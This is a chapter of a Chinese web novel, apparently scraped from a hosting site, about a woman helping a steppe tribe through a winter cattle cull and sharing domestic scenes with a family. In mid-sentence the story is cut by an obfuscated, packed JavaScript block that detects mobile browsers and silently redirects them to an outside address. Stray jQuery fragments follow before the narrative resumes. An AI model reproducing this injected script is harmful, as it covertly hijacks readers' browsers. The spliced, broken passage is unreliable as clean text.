默认冷灰
24号文字
方正启体

23.帮忙!帮忙!

作者:萨如勒本书字数:K更新时间:
    在与外界接触这件事上,不光策仁多尔济十分谨慎保守,那顺等人也一向偏向封闭。


    荒年灾时,部落上下更是充满戒备,前阵子主动接触阿日塔拉,已是达日罕几番争取后的结果。


    图兰诸部之间多年来互不干扰,而贸易行为却意味着更频繁、更深度的交流。


    策仁对此事的反对尚有另一重原因,只是事关达日罕的父亲,午餐议事席间,连玉也在场,于是策仁只点到为止地提了一嘴,并未详说。


    若是只说粮草之事,二人保牛的心愿实现在即,可这一提贩石换草,反而弄巧成拙,再度陷入僵局。


    洋洋洒洒拉开了冬季帷幕的第一场雪不再宽容地给予他们思考对策的时间,最终议定是留八头牛过冬。


    种母、种公是部落的核心,来年哈勒沁还要仰仗它们繁育新犊,再选出牛群中掉膘慢且牙口好的壮年。


    剩下病、老的刚好有五头,连玉跟着那顺的脚步,学习着判断方法。


    “娜仁家的那两头牛……”是夜,连玉还是从牛的事说起,“这事我虽然不好直接出面,但去问候、安抚一下她家的艾麦,还是可以的吧。”


    接过达日罕递来的木碗奶茶,连玉坐在离火塘极近的地上取暖,还围着一条兽毛毯子,半闲聊地与达日罕商讨。


    不论是石头的事,还是杀牛过冬,其实连玉都大可以不管,顾好自己眼前的“一亩三分地”或许是最优解。


    但长期来看,却并非如此。


    连玉深思熟虑过才做了决策,原因很简单,哈勒沁的农、牧实际上是一体两面,种草事业介于二者之间,但未来一定会向更多样化的农业发展。


    哈勒沁并非完全没有农业基础,恰恰相反,此地在积年干旱后仍有水分相对适宜的表层土壤,连玉暗有计划,不光要逐渐向粮食作物种植发展,未来还要恢复此地的林业生态,那才是她真正能大展拳脚的领域。


    保住牲畜族群规模,就是保住未来哈勒沁对草地种植的需求,牲畜规模越是壮大,哈勒沁就越是得依赖她的技术和能力。


    况且以现在的情况,也不需要她真的去做什么劳心劳力的工作,只是安抚一下要被宰牛的家庭,便能在台吉与牧长面前搏得一个美名,为之后更进一步参与到农牧事业的决策中奠定基础,何乐而不为?


    目标明确地,连玉又道:“我听那顺今天的意思,来年种公种母配出来小牛犊,策仁会先给他们家分配,虽然还没说定,但我也可以安慰安慰娜仁?”


    “可以。”对新生牛犊的分配,作为台吉的达日罕若是发话,策仁也没那个权力干预。


    奶茶滚烫着,是刚从壶里倒出来的,连玉感受着蒸腾的热气钻进鼻腔,真正的冬季还未来临,但对温热事物的渴望是身体传递出已做好迎接凛冬准备的信号。


    抬头向上望去,陶脑里不见晴空繁星,反而是一阵阵的阴霾。


    冬季白雪压黄沙,连玉看在眼里,即便寒意阵阵,却另有一阵喜悦的心情——所谓瑞雪兆丰年,今冬的降雪越是充沛,来年地表土壤的湿度越高,且厚重的积雪层能将草根严实地保护起来,不受狂风侵害。


    “明年,我想种点别的东西试试。”披碱草长势喜人,格外争气,简直是天意保佑般地,新春伊始后,这两天仔细计算过,连玉已平了策仁那的欠账,之后长出来多少都算她为哈勒沁“赚”的。


    “可以。”


    平躺在榻上的台吉讲话懒洋洋的,心不在焉。


    “贩石的事,既然策仁他们暂时不同意,或许咱也可以等之后情况更稳定些再说?”


    白天关于此事,连玉没能插上嘴,其实她也不大支持现在贸然开始新的事业,贩石的事业若是逐步发展起来,定然需要一套完整的商业逻辑。


    但是,不光这封闭的小部落里找不出一个懂得经商的人,连玉自己也对这种必然要消耗诸多精力的事持观望态度。


    若不成规模,那贩石就是一个投入产出十分不稳定的事业,哈勒沁在这事上非但不掌握定价权,连最终议价都是由阿日塔拉那边代为完成,收获如何分成、产出如何计算,都需要额外消耗精神。


    即便能形成稳定的采石工作链条,问题还是那个问题:哈勒沁不能投入太多精力,在一个产出不稳定,且自己不直接掌握对走向控制权的事上。


    “……”一阵短暂的沉默,达日罕又说了一个“可以”。


    连玉看他郁郁寡欢的样子,本想问问又怎么了,但想来无非就是为了牛,或石头的事,要么就是和今天策仁提到他父亲有关。


    不论是哪个,连玉都不再有方法能解决,聊也多余,放下奶茶碗,是夜,在沉默中入睡。


    清早去见娜仁,在杀牛之前带去关于来年牛犊分配的消息,之后连玉就不再为此事出面了,避免招来非议。


    顺着去看望豆子、小芽和珠子婆婆,豆子学说话是不鸣则已、一鸣惊人的类型,汉语讲得很是利索清楚,蒙语也不含糊,帮着珠子婆婆跟家里的艾麦沟通,近来在一齐修补家里的薄衣服。


    绳索、衣袍、足具,劳作中的磨损,在平日里一点点缝缝补补勉强维续着使用,到了冬季,则是彻底地清查盘点。


    外面又飘起雪花,连玉和豆子一起,把之前收集起来的山羊毛先捻成细股,用手心在大腿上搓来搓去,一点点地看着手里的羊毛线变长。


    为求结实耐用,搓线这一步不能急,连玉一刻没停,一上午也只搓出一小段,还不到小臂长。


    珠子婆婆和艾麦则负责把之前搓好的毛线合股结绳,单股的细线要往同一个方向拧,合股时,则要反方向操作,这样才能更结实。


    连玉边干,边听豆子给她介绍:“两股反拧拉毡房,三股编绳栓牲畜。”


    这都是跟着艾麦学的,不同绳子各有用途,豆子到底是小朋友,跟连玉一块搓一会儿绳子,就要去逗逗小芽。


    小芽到了能坐稳身的月龄,喝着天然的牛奶长大,珠子婆婆经常感叹她要比寻常的小孩体格更健硕、更高壮些。连玉也没见仔细观察过孩子,不知其中有多少是祝福的意味。


    但小芽爱笑是真,和豆子一样有一双明媚清澈的眼睛。


    豆子和小芽的母亲长什么样,连玉其实已经记不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023383|192760||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得了。


    但那种眼神中透着灵气,仿佛蕴含着能照出世界上一切隐藏在晦暗之下事物的光芒,让连玉想到她儿时在爷爷家见过的牛。


    她也给达日罕讲过,牛是很通人性的动物。


    小时候她独自在爷爷家院子里的石阶上看星星,冷风凛凛,新生的小牛犊主动来依偎在她身边,一人一牛,就那样在冬雪后的寒夜里静坐着,不言不语,却是难得的温暖。


    连玉没有感受过多少家的温情,此刻看着豆子拿着一根搓劈叉的毛线逗小芽,小芽咧开嘴“咯咯”笑,身边的珠子婆婆又拿了新制的奶豆腐给她,家里的吃食零嘴不多,于哈勒沁这种地方,这已经是极慷慨的待客。


    艾麦坐在帐房正中的位置上,冲着她笑。


    今天不去地里,因为要举办仪式,然后杀牛。


    上次那达慕的事之后,再有祭祀活动,连玉也都跟着参与,按时令、季节,还有一些部落里重要事宜,比如丧葬、婚庆,她都一个不落,也记下来一些注意事项和流程,等着以后开课当教材用。


    但今日她没主动提,达日罕也没像以前那样询问她的意见,两人心照不宣地,今天连玉就没去参与。


    杀生处置,连玉还是有些心有不忍。


    虽然上学时也做过小鼠实验,可对牛,她还是有种别样的情感,她为数不多前世幼时的美好回忆里,牛扮演着亲切如长辈的角色。


    这日直到午后,整个流程才结束,策仁多尔济主持了分肉、依例安顿储备,台吉的帐房按规矩是会分得更多,但达日罕主动将自己的份额分给今天参与仪式的几家,又额外取出一些来,差人送去乌兰苏伦家里。


    “我还以为你心眼很小呢。”傍晚,连玉去议事帐房的路上听人讲了这事,晚餐前只有他们二人时,对达日罕道:“你对乌兰苏伦怪好的。”


    “什么意思?”达日罕不明所以。


    “没什么。”想起之前自己一提乌兰苏伦,他就急的样子,连玉忍俊不禁:“夸你治理部落很有一套。”


    达日罕不求甚解,有好就收着:“哈勒沁的繁荣,也离不开你的尽心尽力。”


    讲这话时,达日罕摆出了对策仁他们发话时的严肃神态,只不过讲得还是汉语,平时听他一本正经地叽里咕噜讲蒙语不觉得,现在听他拿还是不大标准的汉语讲话,格外可爱,逗得连玉直乐。


    关于牛的惋惜和阴霾,很快便在笑声中散去。


    连玉不得不承认自己在这方面是有点没良心,晚餐看到炙烤后撒上孜然的牛肋条,虽然这阵子在哈勒沁的伙食也不算差,但她还是没忍住多啃了两块饼。


    本该坐在她对侧的乌兰苏伦不在,原计划晚上回了帐房再问问怎么回事,可正在席间,便听远处传来熟悉的呼喊,跟着众人出帐房一看,正是那红发结成长辫的俊朗青年跑马而来。


    “帮忙!帮忙!”连玉听出他在求援,挤出人群,才看清马上的乌兰苏伦横抱着另一个人在马上,也是马袍长靴的装束。


    不等问清何时发生,达日罕等人已与他一同搀着那几乎昏厥的人,进了乌兰苏伦家的帐房。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)